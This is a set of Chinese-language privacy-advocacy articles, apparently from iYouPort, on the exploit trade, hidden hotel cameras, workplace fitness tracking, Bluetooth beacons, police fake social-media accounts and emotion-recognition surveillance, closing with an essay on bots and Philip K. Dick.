VUPEN 上个月在迪拜参加了 ISS World Middle East，这是一个全球监控公司的贸易展，让他们有机会与来自中东的客户聚集在一起。VUPEN 首席执行官还举办了一次关于“IT 入侵（计算机和移动设备）零日漏洞”的培训研讨会，教授执法机构如何使用他们的产品，以便他们可以入侵任何计算机和移动设备！

「图」

「图」

对于安全研究人员而言，漏洞利用是非常有价值的。它们具有完全合法的目的，应该鼓励与其发展有关的研究，特别是对脆弱性的研究。

然而，滥用的结果非常危险，而且滥用几乎无法避免。目前对漏洞出

口的限制根本就是绣花枕头，无法解决根本性问题。了解当前的开发市场是关键。了解开发人员是谁、客户是谁、交易方式、以及使用方式，至关重要。

这些秘密行业需要被曝光 —— 缺乏透明度是任何商业领域的噩梦。

原文

变态狂的生意经 - iYouPort

你我的灾难现实

对于监视的恐惧来自很多不同的方向，有些国家最担心的是政府监控、有些国家更担心寡头企业的监视资本主义、而对于韩国来说，人们最担心的是社会上的变态狂。这次又发生了什么？

「图」

「图」

对于监视的恐惧来自很多不同的方向，有些国家最担心的是政府监控、有些国家更担心寡头企业的监视资本主义、而对于韩国来说，人们最担心的是社会上的变态狂。

在韩国10个城市的42间酒店客房中，有超过1,600位客人被一个偷窥网站秘密拍摄和现场直播，该网站有4,000名会员—— 其中97人每月支付44.95美元以获得额外的功能，例如能够重播视频流，这是根据Stuff 的报道。

30家酒店受到影响，但警方表示没有迹象表明这些企业参与其中。

这些酒店的客人在2018年11月24日和今年3月2日之间被偷偷拍摄，而该网站为其运营者带来了超过6,200美元的收入。此案中有四人被捕。

据称，其中一名主要嫌疑人在作为客人进入酒店后安装了相机。另一名嫌疑人被指控负责发布和管理现已被关闭的那个网站。据警方称，另外两人涉嫌购买间谍相机或资助互联网网站的运作。

根据国家警察厅网络调查部门的说法，摄像机隐藏在墙壁插座、吹风机支架和数字电视盒内。

“过去有类似的情况，非法摄像机（秘密安装）并且一直在进行秘密

监视，但这是警察第一次抓住视频在互联网上直播的地方，”警方说。

韩国的间谍相机和非法拍摄存在严重问题。 2017年，受害人向警方报告了超过6,400起非法拍摄案件，而2012年则为2,400起。

去年，在“我的生活不是你的色情”的口号下，成千上万的女性走上首尔和其他城市的街头抗议这种做法，并要求采取行动制止这种行为。

这两名主要肇事者将面临长达7年的监禁和3000万韩元的罚款（26,581美元）。

首尔市警察厅网络调查部门通过“韩国先驱报”称，“警方严格处理发布和分享非法视频的犯罪分子，因为他们严重损害了人的尊严。”

随附 IYP 曾经介绍给的方法《如何找到旅店房间里隐藏的摄像头》

原文

变态的雇佣关系 - iYouPort

你我的灾难现实

给人打工真的是充满艰险 .....你的老板不止是”关心你的健康问题”，他们想要追踪你的一举一动，这甚至是合法的，为什么？

如果您的工作场所为您提供健身追踪器，你的老板可以亲自监控所有这些数据。这意味着你的老板会知道你经常走动的频率以及有关你生活方式的一切其他信息，甚至你是否有患心脏病的风险等。

很多雇主会配发健身追踪器给员工，以鼓励员工采取更积极的生活方式，比如接受采访的一位男士，他在增加每日步数后居然惊讶地接到了老板打来的祝贺电话。如果员工同意佩戴该设备，他们甚至可以获得现金奖励或降低医疗保险费。

Fitbit Health Solutions 高级副总裁 Adam Pellegrini 告诉邮报说，“通过该系统，我们实际上可以看到谁没有达到他们的目标，谁没有遵守该行动计划。”

但是，作为交换，员工们正在交出他们的完整个人生活，甚至没有意识到这点。鉴于健身追踪器众所周知是不准确的，这意味着你的老板可能会根据虚假信息对你进行评估，这直接影响到你的升迁问题，甚至是否能保住工作。

“雇主了解员工的生活越多，特别是在工作场所以外，他们对你的生活的控制或影响就越大，”电子前沿基金会高级职员律师 Lee Tien 告诉邮报。“很可能会影响到你是否被保留，晋升，降级—甚至被解雇。”

更多详见：《你正在为一个贴身老大哥努力工作：地狱的新常态》

跟踪器通过公司的保险提供商免费或通过少量费用提供给员工。 只有自愿选择参加该计划的员工才能获得。 设备跟踪他们的健身活动，然后将这些数据发送到他们老板手机上的应用程序。

像 Fitbit 这样的设备制造商甚至添加了一个呼叫服务来提醒员工他们的健康目标。

Fitbit Health Solutions 高级副总裁亚当佩莱格里尼告诉邮报说，持续的行为改变确实是焦点，“通过该系统，我们实际上可以看到谁没有达到他们的目标，谁没有遵守该行动计划。”

大约20%的提供健康保险的雇主都表示他们在2018年从可穿戴设备中收集数据，这比上一年年同期的14%有显著增加。

请注意，这些数据通常不仅与老板共享，还与设备制造商、健康保险公司和其他第三方共享。因为使用是自愿的，所以这些数据不受健康保险隐私与责任法案（**HIPAA**）的保护，该法案保护健康记录免于被公开披露。

因此，员工在志愿参加公司提供的健身追踪器之前应仔细考虑清楚。

Tien 告诉邮报说，’Fitbit 或 Apple Watch 应用程序……可能会提供你甚至不知道或者没有准备让其他人知道的关于你的信息的线索。购买这些设备的个人和消费者可能还不明白这是一个严重的潜在后果。”

Privacy fears as bosses deploy high-tech fitness trackers to spy on employees—and could even use them to decide who to fire. Data is sent to bosses, insurance firms, devicemakers and ‘wellness’ admins

原文

在商店里，秘密监视如何跟踪你的每一步行动？ - iYouPort

你我的灾难现实

吸血鬼不会放弃每一滴血液

「图」

「图」

你正在你喜欢的超市里购物。

当你接近乳品过道时，你的手机忽然响起来了，是一条通知：“您最喜欢的酸奶现在可享受10%的优惠！点击此处兑换优惠券。“

你上一次来这里购物原本想要买酸奶，而最终没买。但是，你的手机是怎么知道这件事的？

因为您的智能手机一直在跟踪您。

杂货店获得了您的位置数据，并向一群有影响力的营销人员付费使用这些信息来制定针对您的广告。

⚠最近的报告只是指出了监视资本主义公司如何使用从手机信号塔、环境Wi-Fi和GPS收集数据。但是，位置数据行业还有一个更加精确的、不引人注目的工具：蓝牙信标。

这些信标是隐藏在整个杂货店内的小型的、不引人注目的电子设备；手机上与他们通信的应用程序一直在将您的一举一动告诉公司：不仅是您进入了建筑物，而且还包括您在低脂肪 Chobanis 面前徘徊了两分钟。

「图」

「图」

大多数定位服务使用手机信号塔和GPS，但这些技术都有局限性。

手机信号塔覆盖范围广，但定位精度低：比如监视者会认为你在Walgreens，但你实际上在隔壁麦当劳。

相比之下，GPS可以精确到半径约5米（16英尺），不过它在室内不能很好地工作。

但是，如上图所示，蓝牙信标可以精准地跟踪您的位置。这种东西还非常节能，并且在室内也能很好用。

这使得那些想要在商店内进行精确跟踪的公司很喜欢这东西。

它的工作原理是这样的：

「图」

「图」

绝大多数人都不知道自己正在被信标监视，但是 “beacosystem” 每天都会追踪数百万人。

信标被放置在机场、商场、地铁、公共汽车、出租车、体育竞技场、健身房、酒店、医院、音乐节、电影院和博物馆 …… 甚至广告牌上。（广告牌上可不只有信标，还有人脸识别监视，详见《为什么要你远离广告牌》）

为了跟踪您并触发将消息传送到您的手机的操作，这些公司需要您在手机上安装可识别商店中信标的应用程序。

使用蓝牙信标的零售商（如 Target 和 Walmart 等）通常会在他们自己的应用程序中构建跟踪。

⚠但零售商希望确保能够跟踪大多数客户 —— 而不仅仅是下载他们自己的特定应用的客户。

正因为需求量如此之大，第三方位置营销公司的隐藏行业已经激增并蓬勃发展。

这些公司采用他们的信标跟踪代码并将其捆绑到开发人员可以使用的工具包中。

⚠许多流行应用程序的制造商 —— 例如新闻或天气更新的应用程序 —— 将这些工具包插入到他们自己的应用程序中。

它们可能由信标公司支付或从中获得其他好处，例如，获得有关其用户的详细报告。

位置数据公司经常收集各种应用程序提供的数据。

例如，一家名为 Pulsate 的位置公司"鼓励应用开发者向他们传递客户的电子邮件地址和名字"。

像 Reveal Mobile 这样的公司从"数百个"常用应用程序中的软件开发工具包中收集数据。

在美国，另一家公司 inMarket 覆盖了38%的千禧代妈妈和大约四分之一的智能手机，每月跟踪"5000万人"。这场游戏中的其他玩家都有类似的影响力。

位置数据公司还有其他令人不安的伎倆。

例如，⚠inMarket 开发了“"心态定位"”技术，可以预测一个人何时最容易轻信广告。然后就在那个时候对你下手。

这些技术基于通过数百万人类行为观察计算出的统计概率。这就是监视资本主义的逻辑：

- 《谷歌控制的世界和监视资本主义》
- 《70年后，还是1984》

像 Hellman’s、Heineken 和 Hillshire Farms 这样的品牌已经使用这些技术来推动产品活动。

位置营销旨在了解“在线到线下归因”。例如，如果星巴克咖啡广告给您发了电子邮件，营销人员想知道您是否真的去过那里并购买了咖啡。

这些公司如何“了解”？很简单，那就是持续监控您的在线和离线的一切行为习惯。

⚠信标也被用于智能城市计划。这是完全无疑的。

- 《是谁在伪装老大哥为“智能城市”？这其中的危险都包括什

么？》
- 是谁在大力协助中国当局作恶《硅谷争夺中国：西方科技寡头在东方圆形监狱的投建中举足轻重》

位置公司 Gimbal 为 LinkNYC 信息亭提供了信标，引发了对跟踪路人的隐私问题。

Beacon 计划已在其他国家城市启动，包括阿姆斯特丹（"与谷歌合作"）、伦敦和诺维奇。

「图」

「图」

你熟悉的那些科技巨头基本都是 beacosystem 的参与者。

2015年，Facebook 开始向 Facebook 应用程序内的位置营销商家发送免费的 Facebook 蓝牙信标。

泄露的文件显示，Facebook 担心用户会“吓坏”并传播有关该计划的“负面meme”。于是该公司从其网站上删除了 Facebook 蓝牙信标部分。

不要忘记，在2017年，谷歌就推出了 Project Beacon，并开始向企业发送信标，用于谷歌的广告服务。 Google 向企业的访问者发送通知，要求他们留下照片和评论等功能。

并且，调查人员发现，即使您在手机中关闭蓝牙，**Google Android** 也可以使用蓝牙信标跟踪您。

- 解决方案《可以采取哪些措施来阻止 Google 和其他人跟踪您的手机？》

多年来，Apple 和 Google 已经允许公司在他们的应用程序商店中提供的应用程序隐藏监视功能。两家公司都通过 **iOS** 和 **Android** 进行自己的信标监控。

必须记住，是 Apple 公司创建的第一个商业监控蓝牙系统，

苹果首席执行官蒂姆·库克（Tim Cook）最近对“数据—工业综合体”表示不满。他说，与其他技术巨头不同，苹果依靠硬件盈利。呵呵。

但是，库克先生应该知道苹果公司在2013年与 iBeacon 合作创造了什么。苹果公司自己的网站向开发商解释他们如何使用 iBeacon 定位消费者。

- 《声称“给你隐私”但不给你自由：看 Apple 如何把玩文字游戏》

收集微观位置数据的公司通过争辩“用户可以选择退出位置服务”来捍卫这种做法。他们认为，消费者应该接受有针对性的广告。监视资本主义就是如此无耻。

业内人士进一步声称，通过掩盖用户身份识别的技术，数据是“匿名的”。您的数据可能存储为“ID-67aGb9ac72r”而不是“Jane Doe”。

但是，研究表明，对移动数据进行去匿名化非常容易。

此外，“知情同意”本身就是个骗局，无法保护用户隐私。人们在提示给予许可时看到的解释通常是不完整或误导的

- 详见《为什么隐私保护法规并没能起到作用？》
- 《为什么说欧洲新法规反而会加强 Facebook 和Google 的霸权？》
- 《如何破解充满行话的权限许可？》

对于使用信标的“知情同意”，您必须首先知道信标的存在。

而您不会知道。

您可以下载 Beacon Scanner 等应用程序，并在进入商店时扫描信标的存在；但是，即使您检测到信标，您也不会知道谁在收集数据。

假设您访问 Target；它可能直接从您身上收集数据，但它也可能将其信标租给其他商家，允许他们监控您的位置。

此外，还有些信标不受保护，任何第三方都可以用来收集您的位置。这些你都无法判断。

Apple 和 Google 一直在通过iOS和Android跟踪您，但他们肯定不会使他们的蓝牙信标收集方法透明。

没有简单的方法可以确定手机上的哪些应用具有内置的信标位置跟踪功能。

即使您确实知道哪些公司可以访问您的信标数据，也无法知道通过该应用程序被收集的数据类型。

这些数据可能是您的精准定位、停留时间或步行量，但也可以包含来自应用程序的数据，例如 您的姓名等等。您的应用程序数据可以与有关您的其他数据集合在一起使用。

完全没有透明度。

为了在短期内保护自己不受信标影响，您可以删除任何可能正在监视您的应用程序—包括零售商提供的应用程序—并在不需要时立即关闭位置服务和蓝牙。

对于Android用户，F-Droid 应用程序商店提供免费和开源应用程序，这些应用程序不会隐藏跟踪器对用户进行间谍活动。

更简单的办法是，不要在任何重要的出行中携带智能手机；在线做到全面匿名。〇

大致方法：

- 《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》
- 《分裂人格的魅力》
- 《你不应该在社交媒体上说的话》
- 全网《大清洗：反侦察的第一步》

In Stores, Secret Surveillance Tracks Your Every Move

原文

当权者拒绝停止社交媒体钓鱼 - iYouPort

你我的灾难现实你的反乌托邦在线生活阴云密布

- 地方、州和联邦执法部门拒绝遵守反执法政策，他们会继续在 *Facebook* 制定虚假的社交媒体账户，以钓鱼他们想要的任何人。

“卫报”的一份新报告详细说明了美国移民和海关执法局（ICE）违反 Facebook 政策的方式，前者创建了与假冒大学相关的假社交媒体账户。

ICE特工创建了被指控制作了虚构的“法明顿大学”的个人简介，作为企图诱捕学生移民的骗局的一部分。超过600名学生，其中大多数是印度公民，在联邦政府的行动中被起诉。

从**2015**年开始，美国卧底特工建立了密歇根州一所虚假学校的门面，有一个虚假的网站，甚至还与政府合谋拿到了政府文件以证实它有资格招收外国学生，其中用于钓鱼的关键基础设施就是虚假的 Facebook 帐户，包括所谓的工作人员。

在1月份的起诉书中，政府指控申请留学的学生非法入境，因为他们“知道”该机构是假的。

在与所谓的“法明顿大学”相关的可疑 Facebook 帐户网络中，该学院的所谓校长“AJ”Milani，喜欢密歇根州美洲虎体育俱乐部，并有一个51人的“朋友”名单，主要是来自南亚的人，尽管 Milani 表面上住在底特律。

Carey Ferrante 没有列出任何与学校相关的链接，但与对此感兴趣的人进行了互动，发布了三张她自己的照片，其中包括一个穿比基尼的不露面女人，并向至少一个 Facebook 联系人发送了私人消息。

爱德华·巴乔卡（Edward Bajoka）是一名代表八名被起诉者的律师，他告诉卫报，美国政府已经确认其虚构了 Ali “AJ” Milani 和 Carey Ferrante 的账户简介。 ICE的东北区通讯主任 Khaalid Walls 拒绝对这些虚假帐户发表评论，但确认有**172**名申请该校的学生因此被捕。

与此同时，一位 Facebook 代表告诉“卫报”，执法受制于要求用户在 Facebook 上使用其真实姓名的相同政策。“不允许经营虚假账户，我们将对任何违规账户采取行动，”该代表说。

ICE 之前也曾因创建另一所假冒大学新泽西州北部大学而被曝光，同样是为了诱捕。

这也不是第一次美国执法人员在制造虚假的社交媒体档案以钓鱼他们想要的人时被抓获。

俄亥俄州、纽约州、佐治亚州和内布拉斯加州的执法部门，都承认允许调查人员使用“别名”注册虚假账户的情况。尤其是，孟菲斯警察局此前曾使用假的配置文件渗透监控公民社会组织 **Black Lives Matter** 的活动家。

电子前沿基金会（EFF）呼吁 Facebook “改善”其处理美国执法手段的标准。“当他们从媒体（或从EFF）那里了解到这些虚假个人账户时，Facebook 的做法不足以阻止我们认为是表面下更大的冰山，”EFF写道，“在调查结束后，我们通常只会发现执法虚假档案已经存在数月，如果不是数年的话。”

EFF正在呼吁进行四项具体变革，以“提高透明度，并为故意违反规则的机构确立真正的后果。”这些变化包括公布假执法帐户数量的数据，包括他们所属的机构以及采取的任何行动。

EFF还呼吁 Facebook 提醒那些与假账户互动的用户和团体。Facebook 还应该修改其“美国联邦、州和地方政府的修订条款”，以明确执法部门同意不在平台上运行虚假的个人资料。

Facebook 是否选择制定EFF的建议还有待观察。然而，已经清楚的是，执法部门对于说谎、违反政策甚至违法法律 – 以实现其目的，没有任何疑虑。

执法不应该成为道德和道德行为的借口。想要结束这类可怕的状况的唯一方式是让人们站起来反击像 Facebook 这样的平台。

在反抗成功之前，社交媒体用户需要更多更深入地练习安全习惯，并在接受新的社交媒体“朋友”和帐户时能够清楚地辨别。

更多详见《你不应该在社交媒体上说的话》《如何识别 Facebook 上的假朋友请求》

Local, state, and federal law enforcement are refusing to comply with Facebook's policy against law enforcement creating fake social media accounts.

原文

情绪监控已成为主流：你的表情能掩盖住内心吗？ - iYouPort

你我的灾难现实

监视者的触角像钻探一样深入你，从面部到皮下、从思想到灵魂……

「图」

「图」

它们能读懂你的情绪，并预测你的心理 —— 现在它们正在被滥用。

所谓的人工智能正在学习以前所未有的方式理解你的内心世界。

这具有改善精神健康问题方面的发现和治疗的潜力，但是，滥用的可能性已经成为人们急需关注的问题。

尽管在数字时代，人们对隐私的焦虑已经成为日常；但到目前为止，大多数此类关注都是对熟悉的、甚至古老的监视形式的扩展。

这是远远不够的。

- 《以隐私为目的的斗争如何让你变成了监视的盟友》

「图」

「图」

如今，我们每个人口袋里都放着一个实时跟踪器 —— 你的手机；然而在八千年前，古代帝国已经进行了定期的人口普查，以跟踪人口的流动和增长。

在20世纪，专制政权经常雇用人员来追踪他们感兴趣的任何人（到1989年柏林墙倒塌时，斯塔西已经雇用了整个东德人口的大约2%作为线人）。

- 《监视简史：从圣经到棱镜》
- 《纳粹和你》

现在，⚠数字技术使熟悉的隐私入侵变得更便宜、更快捷，从而使前几代间谍做梦都想得到的各种各样的情报，如今都能轻而易举地获得。

- 《前共产国家的今天：政府间谍拥有多少民间线人已经不再重要，因为技术发展得更好了—— 互联网监视一切》

今天，监视的新领域已成为主流。

⚠人工智能正在接受训练，以揭示每个人内心生活的各个方面 —— 那些以前只在你自己的脑海中保密的心理和情感体验，现在正在被监视器阅读。

- 《如何挫败阅读思维的摄像头？– 监视自卫设计师产品》

那些构建和部署这些系统的人希望揭示每个人的思想、感觉和压力水平，监测你是在撒谎还是在做白日梦；最重要的是，他们可以预测你的心理状况。

其中一些工具虽然价格昂贵，但是其使用已有一段时间了。

开发广告和电影预告片的人多年来一直使用功能性磁共振成像、脑电图、皮肤电反应、眼动追踪、和其他生物识别方法，来监视被试对象的情绪反应。

但这是麻烦且昂贵的。

最近，公司已经开始使用AI通过一个简单的网络摄像头来更详细地监视测试受众的情绪。

⚠随着这些技术变得越来越准确、更便宜、更易于使用，它们很可能会嵌入到日常生活的更多方面 —— 在工作中、在学校、甚至在公共场合。

它们很快会插入到我们家庭、办公室、和街道中最常见的那些摄像机里。

人工智能如何读懂你的脸

这一技术“发展”并非完全突然。

自2012年以来，人工智能已经能够比人类更好地将假笑与真正的笑容区分开；到2015年，人工智能测谎仪"已经学会"了能胜过最好的人类审讯者。

2017年出现的最新技术不仅能够区分真实的微笑和假笑，还可以区分轻度抑郁者和自杀意念者的假笑。

⚠即使您可以谨慎地保持表情中立，这些新的监视工具也可以分析脸部皮肤下的血液流动，"以捕获您的心率和血压"，从而提供丰富的关于您的情绪、心理压力和疲劳感的情报。

这是您掩饰不了的东西。

⚠所有这些监视系统都可以在廉价的现成网络摄像头的视频源上运行，甚至可以很小足够伪装成螺丝钉。

这些工具具有巨大的潜力，既可以带来社会福利，也可以带来社会危害。

可以预测自杀念头或精神病发作的系统可以帮助社会上最脆弱的成员及时获得帮助。但是，同样的工具也可能在不合适的情况下引发推测性诊断。

操作人员如果不够专业会产生逆反作用，比如故意歧视或以不适当的广告和讯息针对弱势人群。

无论技术的采用基于什么方向，它都可能快速加速。新的面部分析和情绪监测技术可以轻松地与现有的监测基础设施和渴望获得情绪数据的行业整合。

网络摄像头不仅仅是你可见的那些，它们已经嵌入到城市街道和火车站上的许多数字广告屏幕中。

- 在这里看到《为什么让你远离广告牌》

⚠它们在你完全不知情的情况下为你拍照，并在几秒钟内捕获详细信息，包括一家公司的文献中所指出的：“面部特征，例如眼镜、胡须、情绪、年龄、和性别等等 ……

「图」

「图」

这个“情绪”部分已经包括分析微笑的长度和质量。尽管欧盟法律禁止这些系统将图像超时存储，但是它们完全可以且已经被用于瞄准特定人群。

充分利用不安全感：监视越界

滥用的可能性很深，早期的信号已经令人不安。

在社交媒体平台上，情感定位已经越来越流行。

- 「情感分析：如何在社交网络上抓取并分析大众对某些话题的情绪？」
- 《对特朗普推文的情感分析: Python 🐍》
- 《当人们不再信任 - - 埋藏在情绪数据中的媒体和被损伤的社会知觉》

Facebook 已经告诉广告商，它可以识别青少年何时感到“一文不值”、“不安全”、“挫败”、或“焦虑”，并特别揭露他们的不安全感，例如“身体语言”。

⚠如此来，团体就可以购买广告或发布消息，来精确地瞄准那些最易受伤害的年轻人。

如今的每一位雇主都在渴望了解员工的私生活。

- 《变态的雇佣关系》
- 《你正在为一个贴身老大哥努力工作：地狱的新常态》

2016年，在跟踪金融交易者情绪的实验中就对这些技术进行了测试。

“试想一下，如果所有的交易员都需要佩戴跟踪腕表来监视人们的生理状况，并且有一个仪表板，可以实时告诉您谁在抓狂 …… ”。 —— *Andrew Lo*

从那以后的几年中，这些技术变得更加便宜，随便就能买得起，因此对其他行业更具吸引力了，包括那些员工的薪水可能较低且工作安全性较差的行业，这可能使他们很难拒绝对这些工具的使用。

初创公司 Humaneyz 通过带有一大堆传感器的ID徽章，跟踪员工谈话的语气（虽然不是谈话内容）、监视您与之交谈的人说了多长时间、

判断是不经意的还是积极的 …… 以映射活动和网络并优化团队绩效。

AI 服务 Vibe 可以分析 Slack 上的工作场所对话，以了解您的 “幸福感、烦恼、不赞成、失望和压力”，如果员工士气低落，它会向经理发送通知。

注意力跟踪和眼动跟踪已经用于职业培训； TSA 的新兵被通过 EEG 监控他们的注意力水平和眼动追踪，“以前所未有的方式获得受训人员一直以来无法被观察到的方面。”

在美国，健康计划通常包括生物特征监控。尽管这些通常是可选的，但它们可以带会带来可观的奖金并影响健康保险的选择。

这些技术的普及似乎只会加速。

他们监控我们的情绪、并针对情绪反应的监控结果来控制我们看到的内容和广告 —— 以此操纵每个人的选择。

如果想要将这项技术用在公民福祉方面，就需要让大众深入了解其利弊各方面，并进行坦率的公开的辩论，这至关重要。〇

Emotional surveillance goes mainstream

原文

我们生活在菲利普·迪克（Philip K. Dick）的未来，而不完全是乔治·奥威尔 - iYouPort

你我的灾难现实

我们生活在一个更奇怪的地方 —— 一个技术发展得越来越难以区分真实和虚假的世界 ……

「图」

「图」

这不是人们被许诺的反乌托邦。我们并没有学会热爱老大哥，他如果还活着的话，也是生活在由环保技术冷却的服务器农场集群中。我们也没有被索玛和潜意识的大脑程序所哄骗，还没有对普遍存在的社会等级制度产生朦胧的默认。

反乌托邦倾向于绝对控制的幻想，在这种幻想中，系统看到了一切，知道了一切，控制了一切。我们现在生活的世界确实是一个无处不在的监控世界。智能手机和家用设备产生的大量数据痕迹，就像云室中的微粒，向 Facebook、亚马逊和谷歌等公司表明我们所有人最私密的需求和行为。然而这样产生的信息是不完美的，由机器学习算法进行分类，而这些算法本身也很可能会犯错。这些企业操纵所有人的需求的努力导致了进一步的复杂性。对企业来说，要将他们想要分析的行为与被操纵出来的行为区分开，已经变得越来越难。

这看起来并不像极权主义，除非你真的非常认真地眯起眼睛。正如社会学家基兰·希利（Kieran Healy）所言，对新技术的一刀切的政治批判，往往与硅谷推动者的论点有着强烈的家族式相似性 —— 两者都假设技术的工作原理与广告中描述的一样，但这并不一定是真的。

标准的乌托邦和标准的反乌托邦在各自特定的风格之后都是完美的。

然而我们生活在一个更奇怪的地方—— 一个技术发展得越来越难以区分人类和人工事物的世界。互联网和社交媒体所创造的世界与其说是一个系统，不如说是一个生态，一个出乎意料的利基市场的扩散，

以及为以欺骗的方式利用这些利基市场而创造和调整的实体。

庞大的商业架构正在被准自主的寄生虫所殖民。骗子们建立了算法，从头开始编写假书在亚马逊上销售，从其他书籍和维基百科等在线资源中编译和修改文本，以欺骗买家或利用亚马逊补偿结构的漏洞。

世界上大部分的金融系统都是由机器人组成的—— 自动化系统被设计成不断探测市场，寻找短暂的套利机会。不太复杂的程序困扰着eBay和亚马逊等在线商务系统，偶尔会造成非同寻常的后果，比如两个交战的机器人将一本生物书的价格标到了 23,698,655.93 美元（还要加上3.99美元运费）。

换句话说，我们生活在菲利普·K·迪克的未来，而不仅仅是乔治·奥威尔或阿尔多斯·赫胥黎的未来。迪克并不是比任何科幻小说家更好的技术预言家，可以说比大多数人都差。他想象中的世界将五六十年代加州的奇特片段与火箭飞船、毒品和社会投机塞在一起。迪克通常是在匆忙的状态下为钱而写作的，有时是在毒品的影响下，或者是在近期紧迫的个人宗教启示下写出来的。

不过，他用天才的手法捕捉到的是这个世界的本体论不安，在这个世界里，人与非人、真实与虚假模糊在一起。正如迪克对他自己的作品的描述那样（在他1985年的作品集《我希望我很快就到》的开篇）：

让我着迷的两个基本话题是 “什么是现实” 和 “真实的人类应该是由什么构成的？” 在我发表小说和故事的二十七年中，我反复研究了这两个相互关联的话题。

这些痴迷在一定程度上源于迪克复杂而不断发展的个人神话（其中 “真实” 世界是假的，我们都生活在公元一世纪的某个时候的巴勒斯坦，这是完全合理的）。然而，它们也是基于对现实被社会构建的过程的浓厚兴趣。迪克认为，我们都生活在一个 “虚假的现实中，一个被大媒体、政府、大公司、宗教团体、政治团体制造出来的世界里——而电子硬件的存在，就是为了把这些伪世界直接送到读者的头脑里”。他认为：

伪现实的轰炸开始很快产生不真实的人类，虚假的人类 —— 就像从四面八方压向他们的数据一样虚假。我的两个话题其实是一个话题，它们在这一点上是统一的。假的现实会产生假的人类。或者，假的人类会产生假的现实，然后把它们兜售给其他人类，最终，把其他人类变成自己的赝品。所以，我们的结果是，假人类发明假现实，然后向其他假人类兜售假现实。

在迪克的书中，真实与虚幻相互感染，以至于越来越无法分辨它们之间的区别。在《乌比克》（Ubik，1969年）中，死人和活人的世界合二为一，在《火星时间滑落》（Martian Time-Slip，1964年）中，一个不安分的孩子的经历感染了他周围的世界，而在《帕莫·艾德里希的三道圣痕》（The Three Stigmata of Palmer Eldritch，1965年）中，基于毒品的幻觉成为入侵的外星人的载体；在《仿生人会梦见电羊吗？》(1968年) 和《第二终结者》(1953年) 中，人类被恶意的机器人冒充；在《吊挂着的陌生人》(1953年) 和《父亲怪》(1954年) 中人类被外星人冒充；在《钻石王老五》(1954年) 中人类被变种人冒充。

这种对虚幻的世界和虚幻的人的关注，导致了对越来越难以区分它们的担忧。在《高堡奇人》（1962年）中工厂抽出了假的美国货，反映了生活在一个事实上并非真实的世界中的问题；在《仿生人会梦见电羊吗》中企业家们制造出越来越像人类的机器人，理由是如果他们不这样做，那么他们的竞争对手就会这样做。弄清楚什么是真实的、什么是不真实的，并不容易。

科学工具如著名的维特甘测试（Voight-Kampff test），在英国导演雷德利·斯科特 (Ridley Scott) 根据它改编的《银翼杀手》(Blade Runner))中，这些科学工具的效果并不好，留给人们的只有对某种神秘力量的希冀 —— 易经、喷雾罐里的神、火星水巫，来引导人们回归真实。

我们生活在迪克的世界里 —— 但几乎没有希望受到神的干预或入侵。我们远距离交流和互动的世界，越来越多地充斥着看似人类的算法，但却不是人类—— 是由虚假现实生成的假人。当一个为想出轨的人而设的交友网站 Ashley Madison 被黑客攻击时，发现网站上数以万计的魅力女性都是被编程的假 “机器人”，他们向男性客户发送数以百万计的聊天信息，以便欺骗他们，让他们以为自己身边有大量的潜在性伴侣。

随着物理世界和信息世界在（运作不良的）物联网中越来越多地相互渗透，这些问题只可能变得更糟。在 Ubik 中，乔·奇普（Joe Chip）的未来世界的许多方面在现代人眼里都显得可怕地过时了：女性的古板角色，几乎每个人都抽烟的假设。然而，Joe公寓的门—— 因为他没有付给门必要的小费而与他争论并拒绝打开—— 听起来不祥地可信。有人，在某个地方，正在向 Y Combinator 或门洛帕克的风险资本家们推销这个可行的商业计划。

这种虚幻对现实的入侵对政治产生了影响。迪克世界中的幻觉现实 —

— 移情宗教、毒品造就的世界、准藏传佛教死亡境界 —— 通常是由许多人经历的，就像迪克美国的电视节目那样。但随着网络电视让位于互联网，人们很容易创造出自己的特异性混合来源。

迪克所厌恶的被强加的媒体共识已经破碎成无数不同的现实，每一个都有自己部分共享的假设和事实。有时，这就造成了悲剧或近乎悲剧的发生。冲进华盛顿特区彗星乒乓披萨店的受骗枪手曾被网上的阴谋论网站所说服，认为那里是希拉里·克林顿的儿童性交易团伙的协调中心。

这种分裂的世界更容易被非人类入侵。许多推特账号都是机器人，通常用的是令人难以置信的年轻女性的名字和偷来的照片，只为了推销这个或那个产品或想法（最近的一项学术研究发现，9%～15%的推特账号可能是假的）。Twitter 机器人的复杂程度各不相同，有的机器人账户只是转发其他机器人的言论，有的则是采用复杂的算法，部署所谓的“女巫攻击”，在点对点网络中制造假身份，入侵特定组织或压制特定类型的对话。

【注：女巫攻击（Sybil Attack）中的攻击者通过创建大量的假名身份来破坏网络服务的信誉系统，并使用它们获得不成比例的巨大影响力。】

推特未能成为真正的大众媒体，但是对政治来说它仍然异常重要，因为许多政客、记者、和其他精英们都会从这里获取新闻。一个研究项目表明，围绕上届总统大选的可测的政治讨论中，约有20%来自机器人。

在迪克的小说中，人类在检测机器人方面的能力似乎并不比我们在检测复制型机器人方面的能力强：人们转发机器人信息的可能性与转发另一个真人的信息的可能性差不多。最臭名昭著的是，特朗普去年转发了一条谄媚的消息，这条消息似乎来自一个与其他机器人僵尸网络密不可分的机器人账户，有人认为这些机器人被俄罗斯政府控制，并被用于宣传目的。谁知道呢。

在他的小说中，迪克很有兴趣看到人们在现实开始崩溃时的反应。一个真实与虚假相融合的世界，没有人能够分辨出一个人的终点和另一个人的起点，这是一个成熟的偏执狂。无论是俄罗斯还是其他任何国家操纵社交媒体的最毒害后果，都可能与它作为宣传的成功无关。

相反，它埋下了一种确确实实的不信任。人们根本不知道该相信什么或谁了。由 Twitter 机器人传播的谣言合并成其他关于 Twitter 机器

人无处不在的谣言，以及这个或那个热门话题是否由恶意算法而不是真正的人类所推动。

这种广泛存在的假货与我们支离破碎的政治结合在一起时，尤其具有爆炸性。自由派最喜欢用“假新闻”这个词来形容右翼宣传机器，却被保守派倒打了一耙，他们把传统新闻当成宣传，因此对其视而不见。

从反面看，对于自由派左翼的许多人来说，将上届总统大选归咎于俄罗斯的宣传，可能比接受许多选民对美国现实的理解与他们截然不同，更容易些。

迪克还有其他的困扰 —— 最主要的是理查德·尼克松的政治和冷战。不难想象，他写的小说结合了一个不成熟和掠夺性的大亨（一半是阿尼·科特，一半是乔里·米勒）成为美国总统，秘密的俄罗斯政治操纵，伪装成人类的无同情心的机器人的入侵，以及我们对什么是真实和什么是虚假的共同理解的崩溃。

